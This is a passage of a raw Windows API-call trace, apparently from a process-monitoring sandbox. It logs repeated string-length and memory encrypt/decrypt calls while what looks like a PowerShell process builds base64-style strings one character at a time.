Memory=0x8ebf74c) returned 0x0 [0136.687] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xfbaf\x4be8\x5847\xbee4\x9939\x8618\x94d4\x20d9\xe7b1\x1cb6\x7030\x44f6\x2eb7\x5518\x262e\xf080") returned 0x28 [0136.687] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xfbaf\x4be8\x5847\xbee4\x9939\x8618\x94d4\x20d9\xe7b1\x1cb6\x7030\x44f6\x2eb7\x5518\x262e\xf080") returned 0x28 [0136.687] SystemFunction041 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf74c) returned 0x0 [0136.687] SysStringLen (param_1="O3Tk6W6aNRm/VIEo+gwsrfLWpIYyUzt1IxfS巹銍턯ည") returned 0x28 [0136.687] SystemFunction040 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf74c) returned 0x0 [0136.687] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xfbaf\x4be8\x5847\xbee4\x9939\x8618\x94d4\x20d9\xb35d\x2a29\xbefa\xc3e6\xca63\xfa6a\xc7c1\x6689") returned 0x28 [0136.687] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xfbaf\x4be8\x5847\xbee4\x9939\x8618\x94d4\x20d9\xb35d\x2a29\xbefa\xc3e6\xca63\xfa6a\xc7c1\x6689") returned 0x28 [0136.687] SystemFunction041 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf74c) returned 0x0 [0136.687] SysStringLen (param_1="O3Tk6W6aNRm/VIEo+gwsrfLWpIYyUzt1IxfSw銍턯ည") returned 0x28 [0136.687] SystemFunction040 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf74c) returned 0x0 [0136.687] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xfbaf\x4be8\x5847\xbee4\x9939\x8618\x94d4\x20d9\xe3f7\xf8e4\x8c50\x8d58\x18fa\xb8d8\x22b9\xefed") returned 0x28 [0136.687] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xfbaf\x4be8\x5847\xbee4\x9939\x8618\x94d4\x20d9\xe3f7\xf8e4\x8c50\x8d58\x18fa\xb8d8\x22b9\xefed") returned 0x28 [0136.687] SystemFunction041 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf74c) returned 0x0 [0136.687] SysStringLen (param_1="O3Tk6W6aNRm/VIEo+gwsrfLWpIYyUzt1IxfSwk턯ည") returned 0x28 [0136.687] SystemFunction040 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf74c) returned 0x0 [0136.687] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xfbaf\x4be8\x5847\xbee4\x9939\x8618\x94d4\x20d9\x1a02\x7af7\xc53f\xc16d\xfaaf\x1eba\xa9fc\xd225") returned 0x28 [0136.687] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xfbaf\x4be8\x5847\xbee4\x9939\x8618\x94d4\x20d9\x1a02\x7af7\xc53f\xc16d\xfaaf\x1eba\xa9fc\xd225") returned 0x28 [0136.687] SystemFunction041 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf74c) returned 0x0 [0136.688] SysStringLen (param_1="O3Tk6W6aNRm/VIEo+gwsrfLWpIYyUzt1IxfSwkiည") returned 0x28 [0136.688] SystemFunction040 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf74c) returned 0x0 [0136.688] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xfbaf\x4be8\x5847\xbee4\x9939\x8618\x94d4\x20d9\x9190\x92\x4398\xdd47\xf589\x6e\x8f6c\x54d4") returned 0x28 [0136.688] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xfbaf\x4be8\x5847\xbee4\x9939\x8618\x94d4\x20d9\x9190\x92\x4398\xdd47\xf589\x6e\x8f6c\x54d4") returned 0x28 [0136.688] SystemFunction041 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf74c) returned 0x0 [0136.688] SysStringLen (param_1="O3Tk6W6aNRm/VIEo+gwsrfLWpIYyUzt1IxfSwkiS") returned 0x28 [0136.688] SystemFunction040 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf74c) returned 0x0 [0136.688] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xfbaf\x4be8\x5847\xbee4\x9939\x8618\x94d4\x20d9\xc687\x9759\xa404\x69e2\x8d4e\xe81d\xbcac\x39b2") returned 0x28 [0136.688] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xfbaf\x4be8\x5847\xbee4\x9939\x8618\x94d4\x20d9\xc687\x9759\xa404\x69e2\x8d4e\xe81d\xbcac\x39b2") returned 0x28 [0136.688] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xfbaf\x4be8\x5847\xbee4\x9939\x8618\x94d4\x20d9\xc687\x9759\xa404\x69e2\x8d4e\xe81d\xbcac\x39b2") returned 0x28 [0136.688] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xfbaf\x4be8\x5847\xbee4\x9939\x8618\x94d4\x20d9\xc687\x9759\xa404\x69e2\x8d4e\xe81d\xbcac\x39b2") returned 0x30 [0136.688] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0136.688] SysStringLen (param_1="O3Tk6W6aNRm/VIEo+gwsrfLWpIYyUzt1IxfSwkiSO靳흌棤䦎ﲈ綾ॡ") returned 0x30 [0136.688] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0136.688] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xfbaf\x4be8\x5847\xbee4\x9939\x8618\x94d4\x20d9\xc687\x9759\xa404\x69e2\x8d4e\xe81d\xbcac\x39b2\x54c3\x5dac\x4923\x8e07\xcfe0\xf133\xfcfb\x6479") returned 0x30 [0136.688] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xfbaf\x4be8\x5847\xbee4\x9939\x8618\x94d4\x20d9\xc687\x9759\xa404\x69e2\x8d4e\xe81d\xbcac\x39b2\x54c3\x5dac\x4923\x8e07\xcfe0\xf133\xfcfb\x6479") returned 0x30 [0136.688] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0136.689] SysStringLen (param_1="O3Tk6W6aNRm/VIEo+gwsrfLWpIYyUzt1IxfSwkiSO/흌棤䦎ﲈ綾ॡ") returned 0x30 [0136.689] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0136.689] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xfbaf\x4be8\x5847\xbee4\x9939\x8618\x94d4\x20d9\xc687\x9759\xa404\x69e2\x8d4e\xe81d\xbcac\x39b2\xec64\xeb1d\x9375\x631d\xe033\xa61\x7056\x1b8a") returned 0x30 [0136.689] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xfbaf\x4be8\x5847\xbee4\x9939\x8618\x94d4\x20d9\xc687\x9759\xa404\x69e2\x8d4e\xe81d\xbcac\x39b2\xec64\xeb1d\x9375\x631d\xe033\xa61\x7056\x1b8a") returned 0x30 [0136.689] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0136.689] SysStringLen (param_1="O3Tk6W6aNRm/VIEo+gwsrfLWpIYyUzt1IxfSwkiSO/M棤䦎ﲈ綾ॡ") returned 0x30 [0136.689] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0136.689] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xfbaf\x4be8\x5847\xbee4\x9939\x8618\x94d4\x20d9\xc687\x9759\xa404\x69e2\x8d4e\xe81d\xbcac\x39b2\x7cfc\x34f6\x7999\xffbc\xd40\xafd3\x14c0\x4a64") returned 0x30 [0136.689] SysStringLen (param_1="\x6142\xe456\xd34d\x590a\xafe4\x1f05\xd9d8\xa1b3\x271a\x1391\xdb07\xebfc\x9e37\xb2a5\xf1c9\x9b1d\xf07f\xcd08\x5a96\x3f63\x7e4c\x6f59\x1b38\x4571\xfbaf\x4be8\x5847\xbee4\x9939\x8618\x94d4\x20d9\xc687\x9759\xa404\x69e2\x8d4e\xe81d\xbcac\x39b2\x7cfc\x34f6\x7999\xffbc\xd40\xafd3\x14c0\x4a64") returned 0x30 [0136.689] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0136.689] SysStringLen (param_1="O3Tk6W6aNRm/VIEo+gwsrfLWpIYyUzt1IxfSwkiSO/M=䦎ﲈ綾ॡ") returned 0x30 [0136.689] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0136.691] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x01") returned 0x0 [0136.691] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x86, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.691] SysStringLen (param_1="") returned 0x8 [0136.691] SysStringLen (param_1="Y") returned 0x8 [0136.691] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.691] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0136.691] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0136.691] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.691] SysStringLen (param_1="YW") returned 0x8 [0136.691] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.692] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0136.692] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0136.692] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.692] SysStringLen (param_1="YWM") returned 0x8 [0136.692] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.692] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0136.692] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0136.692] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.692] SysStringLen (param_1="YWM1") returned 0x8 [0136.692] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.692] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0136.692] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0136.692] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.692] SysStringLen (param_1="YWM1O") returned 0x8 [0136.692] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.692] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0136.692] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0136.692] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.693] SysStringLen (param_1="YWM1OT") returned 0x8 [0136.693] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.693] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0136.693] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0136.693] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.693] SysStringLen (param_1="YWM1OTE") returned 0x8 [0136.693] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.693] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0136.693] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0136.693] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.693] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0136.693] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.693] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0136.693] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0136.693] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0136.693] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0136.693] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.694] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0136.694] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.694] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0136.694] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0136.694] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.694] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0136.694] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.694] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0136.694] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0136.694] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.694] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0136.694] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.694] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0136.694] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0136.694] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.694] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0136.694] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.694] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0136.694] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0136.695] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.695] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0136.695] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.695] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0136.695] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0136.695] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.695] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0136.695] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.695] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0136.695] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0136.695] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.695] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0136.695] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.695] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0136.695] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0136.695] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.695] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0136.695] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.696] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0136.696] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0136.696] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0136.696] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0136.696] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.696] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0136.696] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.696] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0136.696] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0136.696] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.696] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0136.696] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.696] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0136.696] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0136.696] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.696] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0136.696] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.697] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0136.697] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0136.697] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.697] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0136.697] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.697] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0136.697] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0136.697] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.697] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0136.697] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.697] SysStringLen 